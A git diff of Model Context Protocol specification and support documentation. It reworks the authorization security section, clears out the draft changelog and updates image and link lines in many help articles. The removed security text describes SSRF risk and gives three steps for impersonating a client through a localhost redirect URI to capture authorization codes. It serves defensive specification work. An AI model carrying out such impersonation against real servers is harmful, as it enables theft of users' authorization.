-The authorization server takes a URL as input from an unknown client and fetches that URL.
-A malicious client could use this to trigger the authorization server to make requests to arbitrary URLs,
-such as requests to private administration endpoints the authorization server has access to.
-
Authorization servers fetching metadata documents **SHOULD** consider
[Server-Side Request Forgery (SSRF)](https://developer.mozilla.org/docs/Web/Security/Attacks/SSRF) risks, as described in [OAuth Client ID Metadata Document: Server Side Request Forgery (SSRF) Attacks](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-client-id-metadata-document-00#name-server-side-request-forgery).
### Localhost Redirect URI Risks
-Client ID Metadata Documents cannot prevent `localhost` URL impersonation by themselves. An attacker can claim to be any client by:
-
-1. Providing the legitimate client's metadata URL as their `client_id`
-2. Binding to the any `localhost` port, and providing that address as the redirect\_uri
-3. Receiving the authorization code via the redirect when the user approves
-
-The server will see the legitimate client's metadata document and the user will see the legitimate client's name, making attack detection difficult.
+Client ID Metadata Documents cannot prevent `localhost` URL impersonation by themselves.
Authorization servers:
@@ -115,19 +103,11 @@ Authorization servers:
### Trust Policies
-Authorization servers **MAY** implement domain-based trust policies:
-
-* Allowlists for trusted domains (for protected servers)
-* Accept any HTTPS `client_id` (for open servers)
-* Reputation checks for unknown domains
-* Restrictions based on domain age or certificate validation
-* Display the CIMD and other associated client hostnames prominently to prevent phishing
-
-Servers maintain full control over their access policies.
+Authorization servers **MAY** implement domain-based trust policies for accepting Client ID Metadata Documents, as described in [Section 6.4](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.4) and [Section 6.8](https://www.ietf.org/archive/id/draft-ietf-oauth-client-id-metadata-document-00.html#section-6.8) of the Client ID Metadata Document specification.
## Confused Deputy Problem
-Attackers can exploit MCP servers acting as intermediaries to third-party APIs, leading to [confused deputy vulnerabilities](/docs/tutorials/security/security_best_practices#confused-deputy-problem).
+Attackers can exploit MCP servers acting as intermediaries to third-party APIs, leading to [confused deputy vulnerabilities](/docs/draft/tutorials/security/security_best_practices#confused-deputy-problem).
By using stolen authorization codes, they can obtain access tokens without user consent.
MCP proxy servers using static client IDs **MUST** obtain user consent for each
@@ -138,16 +118,11 @@ before forwarding to third-party authorization servers (which may require additi
An attacker can gain unauthorized access or otherwise compromise an MCP server if the server accepts tokens issued for other resources.
-This vulnerability has two critical dimensions:
-
-1. **Audience validation failures.** When an MCP server doesn't verify that tokens were specifically intended for it (for example, via the audience claim, as mentioned in [RFC9068](https://www.rfc-editor.org/rfc/rfc9068.html)), it may accept tokens originally issued for other services. This breaks a fundamental OAuth security boundary, allowing attackers to reuse legitimate tokens across different services than intended.
-2. **Token passthrough.** If the MCP server not only accepts tokens with incorrect audiences but also forwards these unmodified tokens to downstream services, it can potentially cause the ["confused deputy" problem](#confused-deputy-problem), where the downstream API may incorrectly trust the token as if it came from the MCP server or assume the token was validated by the upstream API. See the [Token Passthrough section](/docs/tutorials/security/security_best_practices#token-passthrough) of the Security Best Practices guide for additional details.
-
MCP servers **MUST** validate access tokens before processing the request, ensuring the access token is issued specifically for the MCP server, and take all necessary steps to ensure no data is returned to unauthorized parties.
A MCP server **MUST** follow the guidelines in [OAuth 2.1 - Section 5.2](https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-13.html#section-5.2) to validate inbound tokens.
-MCP servers **MUST** only accept tokens specifically intended for themselves and **MUST** reject tokens that do not include them in the audience claim or otherwise verify that they are the intended recipient of the token. See the [Security Best Practices Token Passthrough section](/docs/tutorials/security/security_best_practices#token-passthrough) for details.
+MCP servers **MUST** only accept tokens specifically intended for themselves and **MUST** reject tokens that do not include them in the audience claim or otherwise verify that they are the intended recipient of the token. See the [Security Best Practices Token Passthrough section](/docs/draft/tutorials/security/security_best_practices#token-passthrough) for details.
If the MCP server makes requests to upstream APIs, it may act as an OAuth client to them. The access token used at the upstream API is a separate token, issued by the upstream authorization server. The MCP server **MUST NOT** pass through the token it received from the MCP client.
diff --git a/content/mcp/specification/draft/changelog.md b/content/mcp/specification/draft/changelog.md
index d2071da64..820871bef 100644
--- a/content/mcp/specification/draft/changelog.md
+++ b/content/mcp/specification/draft/changelog.md
@@ -2,122 +2,6 @@
> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
> Use this file to discover all available pages before exploring further.
-# Key Changes
+# Changelog
-
-
-This document lists changes made to the Model Context Protocol (MCP) specification since
-the previous revision, [2025-11-25](/specification/2025-11-25).
-
-## Major changes
-
-1. Remove protocol-level sessions and the `Mcp-Session-Id` header from the Streamable HTTP transport. List endpoints (`tools/list`, `resources/list`, `prompts/list`) no longer vary per-connection. Servers that need cross-call state use explicit, server-minted handles passed as ordinary tool arguments ([SEP-2567](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2567)).
-
-2. Make MCP stateless: remove the `initialize`/`notifications/initialized` handshake. Every request now carries its protocol version and client capabilities in `_meta` (`io.modelcontextprotocol/protocolVersion`, `io.modelcontextprotocol/clientCapabilities`). Clients SHOULD identify themselves on each request (`io.modelcontextprotocol/clientInfo`), and servers SHOULD identify themselves in each result's `_meta` (`io.modelcontextprotocol/serverInfo`). Version mismatches return `UnsupportedProtocolVersionError` ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)).
-
-3. Add `server/discover`: servers MUST implement this RPC to advertise their supported protocol versions, capabilities, and identity. Clients MAY call it before any other request for up-front version selection, or use it as a backward-compatibility probe on STDIO ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)).
-
-4. Replace the HTTP GET endpoint and `resources/subscribe`/`resources/unsubscribe` with `subscriptions/listen`: a single long-lived POST-response stream for opted-in server-to-client change notifications. Clients opt in to specific types (`toolsListChanged`, `promptsListChanged`, `resourcesListChanged`, `resourceSubscriptions`); the server acknowledges and tags notifications with `io.modelcontextprotocol/subscriptionId`. Request-scoped notifications such as `notifications/progress` and `notifications/message` continue to flow on the response stream of the request they relate to, not the `subscriptions/listen` stream ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)).
-
-5. Remove `ping`, `logging/setLevel`, and `notifications/roots/list_changed`. Log level is now set per-request via `io.modelcontextprotocol/logLevel` in `_meta`; servers MUST NOT emit `notifications/message` for requests that did not include this field ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)).
-
-6. Move experimental tasks out of the core protocol and into an official extension (`io.modelcontextprotocol/tasks`). The redesigned extension replaces the blocking `tasks/result` method with polling via `tasks/get` and a new `tasks/update` for client-to-server input, removes `tasks/list`, and allows servers to return task handles unsolicited without per-request opt-in ([SEP-2663](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2663)).
-
-7. Multi Round-Trip Requests (MRTR) pattern introduced which replaces the previous approach of sending server-initiated requests, such as `roots/list`, `sampling/createMessage`, or `elicitation/create`. Servers return an `InputRequiredResult` (`resultType: "input_required"`) whose `inputRequests` field carries the requests for the additional information needed to process the request. Clients respond with `inputResponses` on a retry of the original request providing the requested information. ([SEP-2322](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2322)).
-
-8. All results now carry a required `resultType` field: `"complete"` for ordinary results and `"input_required"` for [multi round-trip request](/specification/draft/basic/patterns/mrtr) interim results. Clients **MUST** treat results from earlier-protocol servers that omit the field as `"complete"` ([SEP-2322](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2322)).
-
-9. Remove SSE stream resumability and message redelivery (the `Last-Event-ID` header and SSE event IDs) from the Streamable HTTP transport. A broken response stream loses the in-flight request; clients **MUST** re-issue it as a new request with a new request ID ([SEP-2575](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2575)).
-
-## Minor changes
-
-1. Add `extensions` field to `ClientCapabilities` and `ServerCapabilities` to support optional [extensions](/docs/extensions/overview) beyond the core protocol.
-2. Document OpenTelemetry trace context propagation conventions for `_meta` keys (`traceparent`, `tracestate`, `baggage`) ([SEP-414](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/414)).
-3. Servers **SHOULD** return tools from `tools/list` in a deterministic order to enable client-side caching and improve LLM prompt cache hit rates.
-4. Require standard MCP request headers (`Mcp-Method`, `Mcp-Name`) on Streamable HTTP POST requests, and add support for custom headers from tool parameters via `x-mcp-header` ([SEP-2243](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2243)).
-5. Require `ttlMs` and `cacheScope` fields on results returned by `tools/list`, `prompts/list`, `resources/list`, `resources/read`, and `resources/templates/list` via a new `CacheableResult` interface. `ttlMs` is a freshness hint (in milliseconds) allowing clients to cache responses and reduce polling; `cacheScope` (`"public"` or `"private"`) controls whether shared intermediaries may cache the response. Both fields complement existing `listChanged` notifications ([SEP-2549](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2549)).
-6. Change resource not found error code from `-32002` to `-32602` (Invalid Params) to align with JSON-RPC specification.
-7. Authorization servers **SHOULD** include the `iss` parameter in authorization responses per
- [RFC 9207](https://datatracker.ietf.org/doc/html/rfc9207), and MCP clients **MUST** validate a
- present `iss` against the recorded issuer before redeeming the authorization code
- ([SEP-2468](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2468)).
-8. Require MCP clients to specify an appropriate `application_type` during Dynamic Client
- Registration to avoid OpenID Connect redirect URI conflicts
- ([SEP-837](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/837)).
-9. Clarify that client credentials are bound to the authorization server that issued them:
- clients **MUST** key persisted credentials by the issuer identifier, **MUST NOT** reuse them
- with a different authorization server, and **MUST** re-register when the authorization server
- changes ([SEP-2352](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2352)).
-10. Loosen `inputSchema` and `outputSchema` to allow any JSON Schema 2020-12 keywords, and
- `structuredContent` to allow any JSON value. Add `$ref` resolution requirements and
- composition-keyword resource bounds
- ([SEP-2106](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2106)).
-11. Remove the `notifications/elicitation/complete` notification and the
- `elicitationId` field of URL mode elicitation requests, both introduced in
- `2025-11-25`. Under the
- [Multi Round-Trip Requests](/specification/draft/basic/patterns/mrtr) pattern, the
- client learns the outcome of an out-of-band interaction by retrying the original
- request, so a server-initiated completion signal — and the identifier used to
- correlate it — no longer fit the protocol. Servers needing to correlate an
- elicitation across retries encode their own identifier in `requestState`.
-12. Define an [error code allocation policy](/specification/draft/basic/index#error-codes)
- partitioning the JSON-RPC server-error range: `-32000` to `-32019` remains
- implementation-defined (existing SDK usage is grandfathered), `-32020` to `-32099` is
- reserved for the MCP specification. Renumber the error codes introduced in this draft
- accordingly — `HeaderMismatch` `-32001` → `-32020`, `MissingRequiredClientCapability`
- `-32003` → `-32021`, `UnsupportedProtocolVersion` `-32004` → `-32022` — and add
- `HeaderMismatchError` to the schema, which previously existed only in transport prose.
-
-## Deprecated
-
-Features listed here remain part of the specification but are scheduled for removal under the [feature lifecycle and deprecation policy](/community/feature-lifecycle). New implementations should not adopt them. The [deprecated features registry](/specification/draft/deprecated) tracks every feature currently in the Deprecated state.
-
-1. Deprecate the Roots, Sampling, and Logging features
- ([SEP-2577](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2577)).
- These features remain fully functional during the deprecation window but new
- implementations should not add support for them. Suggested migrations: pass
- directories or files via tool parameters, resource URIs, or server
- configuration instead of Roots; integrate directly with LLM provider APIs
- instead of Sampling; log to `stderr` (stdio) or use OpenTelemetry instead of
- Logging.
-
-2. Reclassify the HTTP+SSE transport (deprecated since protocol version
- `2025-03-26`) as Deprecated under the feature lifecycle policy
- ([SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596)).
- Migrate to [Streamable HTTP](/specification/draft/basic/transports/streamable-http).
-
-3. Reclassify the `includeContext` values `"thisServer"` and `"allServers"`
- (soft-deprecated since protocol version `2025-11-25`) as Deprecated
- ([SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596)).
- Omit the field or use `"none"`; these values will be removed no later than
- the Sampling feature itself.
-
-4. Deprecate the OAuth 2.0 Dynamic Client Registration Protocol
- ([RFC7591](https://datatracker.ietf.org/doc/html/rfc7591)) as a client registration
- mechanism in favor of
- [Client ID Metadata Documents](/specification/draft/basic/authorization/client-registration#client-id-metadata-documents)
- ([PR #2858](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2858)).
- It remains available for backwards compatibility with authorization servers that do
- not support Client ID Metadata Documents.
-
-## Other schema changes
-
-1. `schema.json` now correctly reflects that the Typescript definition of minimum/maximum/default are `number`'s and not just `integers`. This was caused by running the generator using `--defaultNumberType integer` ([PR#2710](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2710)).
-
-## Governance and process updates
-
-1. Adopt a specification
- [feature lifecycle and deprecation policy](/community/feature-lifecycle)
- defining the Active, Deprecated, and Removed feature states, a minimum
- twelve-month deprecation window, and a
- [registry of deprecated features](/specification/draft/deprecated)
- ([SEP-2596](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2596)).
-
-## Process changes
-
-1. Formalize PR-based SEP workflow with markdown files in `seps/` directory, PR-derived numbering, sponsor responsibilities, and status management via PR labels ([SEP-1850](https://github.com/modelcontextprotocol/specification/pull/1850)).
-
-## Full changelog
-
-For a complete list of all changes that have been made since the last protocol revision,
-[see GitHub](https://github.com/modelcontextprotocol/specification/compare/2025-11-25...draft).
+Changes since the most recent release will accumulate here.
diff --git a/content/mcp/specification/draft/client/elicitation.md b/content/mcp/specification/draft/client/elicitation.md
index bffa50c33..afca11c72 100644
--- a/content/mcp/specification/draft/client/elicitation.md
+++ b/content/mcp/specification/draft/client/elicitation.md
@@ -470,7 +470,7 @@ Servers should handle each state appropriately:
Elicitations do not require that the server maintain state about users with the [multi round-trip requests](/specification/draft/basic/patterns/mrtr#multi-round-trip-requests) mechanism.
-However, if state is stored, servers implementing elicitation **MUST** securely associate this state with individual users following the guidelines in the [security best practices](/docs/tutorials/security/security_best_practices) document. Specifically:
+However, if state is stored, servers implementing elicitation **MUST** securely associate this state with individual users following the guidelines in the [security best practices](/docs/draft/tutorials/security/security_best_practices) document. Specifically:
* State storage **MUST** be protected against unauthorized access
* For remote MCP servers, user identification **MUST** be derived from credentials acquired via [MCP authorization](../basic/authorization) when possible (e.g. `sub` claim)
@@ -519,7 +519,7 @@ Example scenario:
The critical security requirements are:
1. **The third-party credentials MUST NOT transit through the MCP client**: The client must never see third-party credentials to protect the security boundary
-2. **The MCP server MUST NOT use the client's credentials for the third-party service**: That would be [token passthrough](/docs/tutorials/security/security_best_practices#token-passthrough), which is forbidden
+2. **The MCP server MUST NOT use the client's credentials for the third-party service**: That would be [token passthrough](/docs/draft/tutorials/security/security_best_practices#token-passthrough), which is forbidden
3. **The user MUST authorize the MCP server directly**: The interaction happens outside the MCP protocol, without involving the MCP client
4. **The MCP server is responsible for tokens**: The MCP server is responsible for storing and managing the third-party tokens obtained through the URL mode elicitation (in other words, the MCP server must be stateful).
@@ -527,7 +527,7 @@ Credentials obtained via URL mode elicitation are distinct from the MCP server c
For additional background, refer to the [token passthrough
- section](/docs/tutorials/security/security_best_practices#token-passthrough)
+ section](/docs/draft/tutorials/security/security_best_practices#token-passthrough)
of the Security Best Practices document to understand why MCP servers cannot
act as pass-through proxies.
@@ -623,7 +623,7 @@ When handling URL mode elicitation requests, MCP clients:
### Identifying the User
Servers **MUST NOT** rely on client-provided user identification without server verification, as this can be forged.
-Instead, servers **SHOULD** follow [security best practices](/docs/tutorials/security/security_best_practices).
+Instead, servers **SHOULD** follow [security best practices](/docs/draft/tutorials/security/security_best_practices).
Non-normative examples:
diff --git a/content/mcp/specification/draft/schema.md b/content/mcp/specification/draft/schema.md
index 91de6ce92..026f74955 100644
--- a/content/mcp/specification/draft/schema.md
+++ b/content/mcp/specification/draft/schema.md
@@ -1088,17 +1088,24 @@
requested.
The response to a subscriptions/listen
request, signalling that the subscription has ended gracefully (for example,
during server shutdown). Because the listen stream is long-lived, this result
is sent only when the server tears the subscription down; an abrupt transport
close carries no response. The result body is otherwise empty.
Indicates the type of the result, which allows the client to determine
how to parse the result object.
Servers implementing this protocol version MUST include this field.
For backward compatibility, when a client receives a result from a
- server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
\_meta: SubscriptionsListenResultMeta
+ server implementing an earlier protocol version (which does not include resultType), the client MUST treat the absent field as "complete".
Identifies the server software producing the response. Servers SHOULD
include this field on every response unless specifically configured not
to do so.
The Implementation schema requires name and version; other
fields are optional.
The value is self-reported by the server and is not verified by the
protocol. It is intended for display, logging, and debugging. Clients
SHOULD NOT use it to change their behavior, and SHOULD NOT rely on it for
- security decisions.
Identifies the subscription stream this response closes, so the client can
correlate it with the originating subscription — mirroring the same key on
the stream's notifications. The value is the JSON-RPC ID of the subscriptions/listen request that opened the stream (and equals this
response's id).
diff --git a/content/support/10310342-how-do-i-log-out-of-all-active-sessions.md b/content/support/10310342-how-do-i-log-out-of-all-active-sessions.md
index eb68d943d..67b10bc6c 100644
--- a/content/support/10310342-how-do-i-log-out-of-all-active-sessions.md
+++ b/content/support/10310342-how-do-i-log-out-of-all-active-sessions.md
@@ -38,7 +38,7 @@ To regain access to your account on any device, you'll need to authenticate agai
If you used your Claude account to authenticate into Claude Code, you can manage your authorization tokens by navigating to [Settings > Claude Code](http://claude.ai/settings/claude-code). To remove a token and log out of Claude Code, click the trash can icon.
-
+
## Unable to access your account?
diff --git a/content/support/10366376-how-can-i-delete-my-claude-console-account.md b/content/support/10366376-how-can-i-delete-my-claude-console-account.md
index a711ad426..17b158d8f 100644
--- a/content/support/10366376-how-can-i-delete-my-claude-console-account.md
+++ b/content/support/10366376-how-can-i-delete-my-claude-console-account.md
@@ -36,7 +36,7 @@ If you followed the steps above to delete your Console organization but want to
If you have an outstanding balance, you will see a message during the deletion flow that prompts you to pay the balance first by routing you to [Settings > Billing](https://platform.claude.com/settings/billing).
-
+
You must pay this outstanding balance before you’re able to move forward with the deletion process.
@@ -44,6 +44,6 @@ You must pay this outstanding balance before you’re able to move forward with
There are some scenarios where you will need to contact our team to delete your account. If this is the case, it will be noted when you try to delete your organization:
-
+
If you are seeing this message, this indicates that your Console organization cannot be deleted via the self-service pathway.
\ No newline at end of file
diff --git a/content/support/10504844-manage-user-feedback-settings-on-team-and-enterprise-plans.md b/content/support/10504844-manage-user-feedback-settings-on-team-and-enterprise-plans.md
index bdf70463a..810fd4bb5 100644
--- a/content/support/10504844-manage-user-feedback-settings-on-team-and-enterprise-plans.md
+++ b/content/support/10504844-manage-user-feedback-settings-on-team-and-enterprise-plans.md
@@ -6,6 +6,6 @@ As a Primary Owner or Owner of a Team or Enterprise plan, you can manage the abi
2. Use the toggle to change the **Rate chats** setting for your organization:
-
+
More information on how Anthropic collects, uses, and stores feedback data can be found in our Privacy Center: **[How long do you store my organization’s data?](https://privacy.claude.com/en/articles/7996866-how-long-do-you-store-my-organization-s-data)**
\ No newline at end of file
diff --git a/content/support/10504853-manage-user-feedback-settings-on-claude-console.md b/content/support/10504853-manage-user-feedback-settings-on-claude-console.md
index f86febbd1..7bea8d133 100644
--- a/content/support/10504853-manage-user-feedback-settings-on-claude-console.md
+++ b/content/support/10504853-manage-user-feedback-settings-on-claude-console.md
@@ -8,6 +8,6 @@ To manage feedback for your Console organization:
2. Toggle the feedback switch on or off.
-
+
More information on how Anthropic collects, uses, and stores feedback data can be found in our Privacy Center: [How long do you store my organization’s data?](https://privacy.claude.com/en/articles/7996866-how-long-do-you-store-my-organization-s-data)
\ No newline at end of file
diff --git a/content/support/10593882-share-and-unshare-chats.md b/content/support/10593882-share-and-unshare-chats.md
index 8de5ac4d1..b25bcef7a 100644
--- a/content/support/10593882-share-and-unshare-chats.md
+++ b/content/support/10593882-share-and-unshare-chats.md
@@ -38,12 +38,12 @@ To unshare a chat:
Users on free, Pro, or Max plans can review a log of shared chats by navigating to **[Settings > Privacy](https://claude.ai/settings/data-privacy-controls)**. Find the **Privacy settings** section and click “Manage” next to **Shared chats:**
-
+
This will open a **Shared chats** modal listing the title, date shared, and link to each chat, allowing you to easily review and access all your previously-shared content. From here, you also have the option to click “Unshare” next to each listed chat to revoke access to the last snapshot you shared:
-
+
If you don’t have any shared chat snapshots, the **Shared chats** modal will show “No shared content found”:
-
\ No newline at end of file
+
\ No newline at end of file
diff --git a/content/support/10684626-enable-and-use-web-search.md b/content/support/10684626-enable-and-use-web-search.md
index b1e75beb8..ccf063b87 100644
--- a/content/support/10684626-enable-and-use-web-search.md
+++ b/content/support/10684626-enable-and-use-web-search.md
@@ -24,7 +24,7 @@ Web search expands Claude's knowledge with real-time data, helping you make bett
An Owner or Primary Owner must first enable web search for the entire workspace. This can be found in **[Admin settings > Capabilities](https://claude.ai/admin-settings/capabilities)**:
-
+
Once this is enabled at the workspace level, any member of the organization can switch it on while starting a chat by clicking the “+” button in the lower left corner of the chat window and selecting “Web search." Users can toggle this off for chats that don’t require web search capabilities.
diff --git a/content/support/10722177-sharing-prompts-in-the-claude-console.md b/content/support/10722177-sharing-prompts-in-the-claude-console.md
index 7bb4e0188..0e6886ba5 100644
--- a/content/support/10722177-sharing-prompts-in-the-claude-console.md
+++ b/content/support/10722177-sharing-prompts-in-the-claude-console.md
@@ -10,13 +10,13 @@ The prompt sharing feature enables teams to collaborate on prompt development wi
3. Select "Share" from the dropdown menu:
-
+
4. Change the access settings from "Private" to "Shared."
5. Click the "Copy link" button that appears:
-
+
6. Share the link with members of your workspace.
@@ -38,7 +38,7 @@ When working on a shared prompt:
**Note:** If a collaborator saves changes to the prompt while you are viewing it, you will be prompted with a message to “Go to the Latest Version,” where all their changes will be reflected.
-
+
## Viewing Version History
@@ -48,13 +48,13 @@ To see previous versions of a prompt:
2. Select "Version history" from the dropdown:
-
+
3. Choose the specific version you want to view from the list.
**Note:** Past versions cannot be edited. To restore the prompt to a previous version, select the version from the version history list, and click the “Restore” button in the pop up.
-
+
## Unsharing a Prompt
@@ -64,6 +64,6 @@ To see previous versions of a prompt:
3. Change the access settings from "Shared" to "Private":
-
+
**Note:** Unsharing immediately disables access via the direct link. Anyone that the link was previously shared with will no longer be able to view the prompt.
\ No newline at end of file
diff --git a/content/support/10949351-getting-started-with-local-mcp-servers-on-claude-desktop.md b/content/support/10949351-getting-started-with-local-mcp-servers-on-claude-desktop.md
index c319a42f2..3340fb0a6 100644
--- a/content/support/10949351-getting-started-with-local-mcp-servers-on-claude-desktop.md
+++ b/content/support/10949351-getting-started-with-local-mcp-servers-on-claude-desktop.md
@@ -48,7 +48,7 @@ for specific instructions.
Custom desktop extensions uploads allow Team and Enterprise plans to leverage organization-specific workflows that aren’t available in the public directory. After creating a custom desktop extension, Owners and Primary Owners can navigate to Settings > Extensions within Claude Desktop and click “Advanced settings” to access the **Extension Developer** section:
-
+
Click “Install Extension…” and select the .mcpb file. Follow the prompts to install and configure your custom desktop extension. For more in-depth information, please refer to our [desktop extension developer documentation](https://github.com/anthropics/mcpb).
diff --git a/content/support/11101966-use-voice-mode.md b/content/support/11101966-use-voice-mode.md
index 5a050d466..1cf87ebf1 100644
--- a/content/support/11101966-use-voice-mode.md
+++ b/content/support/11101966-use-voice-mode.md
@@ -24,7 +24,7 @@ Voice mode transforms how you interact with Claude by:
2. Tap the sound wave symbol in the lower right corner of the chat window to activate voice mode:
-
+
3. Start talking and see your prompt automatically populate in the chat input.
@@ -32,7 +32,7 @@ Voice mode transforms how you interact with Claude by:
5. Claude will remain in voice mode until you click the “Stop” button in the lower right corner of the chat window:
-
+
### On mobile (iOS and Android)
@@ -40,7 +40,7 @@ Voice mode transforms how you interact with Claude by:
2. Tap the voice mode icon (sound wave symbol next to the microphone icon) in the text input field:
-
+
3. Choose a voice to personalize your experience.
@@ -78,7 +78,7 @@ To change the voice later:
- **On mobile:** Click the settings button in the bottom left corner while chatting with Claude in voice mode, then tap your preferred voice and pace:
-
+
## Choose a model
diff --git a/content/support/11506255-get-started-with-claude-in-slack.md b/content/support/11506255-get-started-with-claude-in-slack.md
index 62aee13fb..97bebc9fc 100644
--- a/content/support/11506255-get-started-with-claude-in-slack.md
+++ b/content/support/11506255-get-started-with-claude-in-slack.md
@@ -12,17 +12,17 @@ It’s how we’ve brought Claude’s capabilities directly to Slack, bringing A
**Direct message with Claude**: Start a private conversation with @Claude.
-
+
**AI assistant panel**: Click the Claude icon in Slack's AI assistant header to open a panel on the right side of your Slack window, allowing you to access Claude from anywhere in the Slack app.
-
+
-
+
**Thread participation**: Mention @Claude in any thread to get Claude's help with the conversation.
-
+
All surfaces provide the same capabilities that you have enabled in Claude, including web search and connections to your integrated tools, allowing you to seamlessly integrate AI assistance into your existing workflow.
@@ -60,17 +60,17 @@ Once your Slack admin has approved Claude (or if you're on a personal Slack plan
2. Click "Connect Account” to be prompted to connect your Claude account:
- 
+ 
3. In the window that opens, select which organization you would like to connect with Claude for Slack.
4. Click “Authorize” to allow Claude in Slack to access your Claude chat account:
-
+
5. You should see a confirmation message upon successful connection:
- 
+ 
6. After successful authentication, return to Slack.
@@ -142,7 +142,7 @@ To disconnect your Claude account from Slack:
3. Confirm the disconnection.
-
+
Disconnecting will:
diff --git a/content/support/11725453-set-up-the-claude-lti-in-canvas-by-instructure.md b/content/support/11725453-set-up-the-claude-lti-in-canvas-by-instructure.md
index 103d508ff..1058bbef5 100644
--- a/content/support/11725453-set-up-the-claude-lti-in-canvas-by-instructure.md
+++ b/content/support/11725453-set-up-the-claude-lti-in-canvas-by-instructure.md
@@ -44,7 +44,7 @@ This article provides information on how to enable the Claude LTI integration in
5. Click "Install" and refresh the course page.
-
+
## Turn on the Claude LTI Integration in Claude for Education organization settings
diff --git a/content/support/11817273-use-claude-s-chat-search-and-memory-to-build-on-previous-context.md b/content/support/11817273-use-claude-s-chat-search-and-memory-to-build-on-previous-context.md
index fcee0d331..2cc467484 100644
--- a/content/support/11817273-use-claude-s-chat-search-and-memory-to-build-on-previous-context.md
+++ b/content/support/11817273-use-claude-s-chat-search-and-memory-to-build-on-previous-context.md
@@ -40,7 +40,7 @@ When Claude searches your previous chats, you will see this reflected in your cu
Yes, navigate to **[Settings > Memory](https://claude.ai/new#settings/customize-memory)** and switch the toggle next to "Search and reference chats" off:
-
+
## Can I exclude a specific past chat from searches?
@@ -80,7 +80,7 @@ Each project has its own separate memory space and dedicated project summary, so
You can toggle Claude’s memory on by navigating to **[Settings > Memory](https://claude.ai/new#settings/customize-memory)** and turning on **Generate memory from chats**:
-
+
If you want to disable Claude’s memory, click the toggle and you'll see two options:
@@ -184,7 +184,7 @@ When Claude searches your previous chats, you will see this reflected in your cu
Yes, navigate to **[Settings > Capabilities](http://claude.ai/settings/capabilities)** and find the **Preferences** section. Switch the toggle next to “Search and reference chats” off:
-
+
### Can I exclude a specific past chat from searches?
@@ -192,7 +192,7 @@ Incognito chats are available to all Claude users (free, Pro, Max, Team, and Ent
When starting a new chat with Claude outside of a project, you'll see a ghost icon in the upper right corner of your screen:
-
+
Clicking the ghost icon will open an incognito chat, creating a temporary conversation that isn’t saved to your chat history. Claude won’t pull information from incognito chats when searching previous conversations.
@@ -224,7 +224,7 @@ Each project has its own separate memory space and dedicated project summary, so
You can toggle Claude’s memory on by navigating to **[Settings > Capabilities](http://claude.ai/settings/capabilities)**:
-
+
If you want to disable Claude’s memory, click the toggle to see two options:
diff --git a/content/support/11818288-why-am-i-being-asked-to-verify-my-payment-method.md b/content/support/11818288-why-am-i-being-asked-to-verify-my-payment-method.md
index 7103f5903..6a3d7b286 100644
--- a/content/support/11818288-why-am-i-being-asked-to-verify-my-payment-method.md
+++ b/content/support/11818288-why-am-i-being-asked-to-verify-my-payment-method.md
@@ -2,7 +2,7 @@
If you see the following pop-up when you log in to your Claude account, you’ll need to click the “Verify now” button to verify your payment method:
-
+
## What happens if I click “Remind me later?”
diff --git a/content/support/11869629-use-claude-with-android-apps.md b/content/support/11869629-use-claude-with-android-apps.md
index 40e8a39b7..99f7b4ddc 100644
--- a/content/support/11869629-use-claude-with-android-apps.md
+++ b/content/support/11869629-use-claude-with-android-apps.md
@@ -222,7 +222,7 @@ Permission requirements vary by feature:
For features requiring permissions (like location or calendar access), Claude will request permission contextually with clear explanations of why the access is needed. You’ll be prompted to approve the action with three options: Allow once, Always allow, or Don't allow.
-
+
These permissions can be managed at any time in your device settings by going to Settings > Apps > Claude > Permissions. Click into each permission listed under **Allowed** and **Not allowed** to make changes. You can toggle between “Allow only while using the app” or “Ask every time” to change Claude’s access, or remove permissions by choosing “Don’t allow.” Claude will only request permissions if needed for specific features, and you can always choose to decline while still using other capabilities.
diff --git a/content/support/12005970-manage-usage-credits-for-team-and-seat-based-enterprise-plans.md b/content/support/12005970-manage-usage-credits-for-team-and-seat-based-enterprise-plans.md
index ac664352e..748ad73d5 100644
--- a/content/support/12005970-manage-usage-credits-for-team-and-seat-based-enterprise-plans.md
+++ b/content/support/12005970-manage-usage-credits-for-team-and-seat-based-enterprise-plans.md
@@ -70,7 +70,7 @@ After navigating to **[Organization settings > Usage](https://claude.ai/admin-se
The **Usage and spend limits** section will show the current limit (if any) or **Unlimited**. Clicking on "Adjust limit" opens a modal where you can either input an amount and click "Set spend limit," or click "Set to unlimited" to remove the organization-wide monthly spend limit.
-
+
Changes to your organization’s overall spend limit go into effect immediately.
@@ -78,11 +78,11 @@ Changes to your organization’s overall spend limit go into effect immediately.
Owners and Primary Owners on **seat-based Enterprise plans only** can set spend limits that apply to all users within a specific seat tier.
-
+
Select the "By group" tab to see **Standard seats** and **Premium seats** groups. Click the "..." icon next to the current limit, then "Edit limit." This opens a modal where you can either select "Set dollar amount" and input an amount, or click "Unlimited" to remove the limit for that seat type. Click "Set limit" to save your changes.
-
+
---
@@ -90,11 +90,11 @@ Select the "By group" tab to see **Standard seats** and **Premium seats** groups
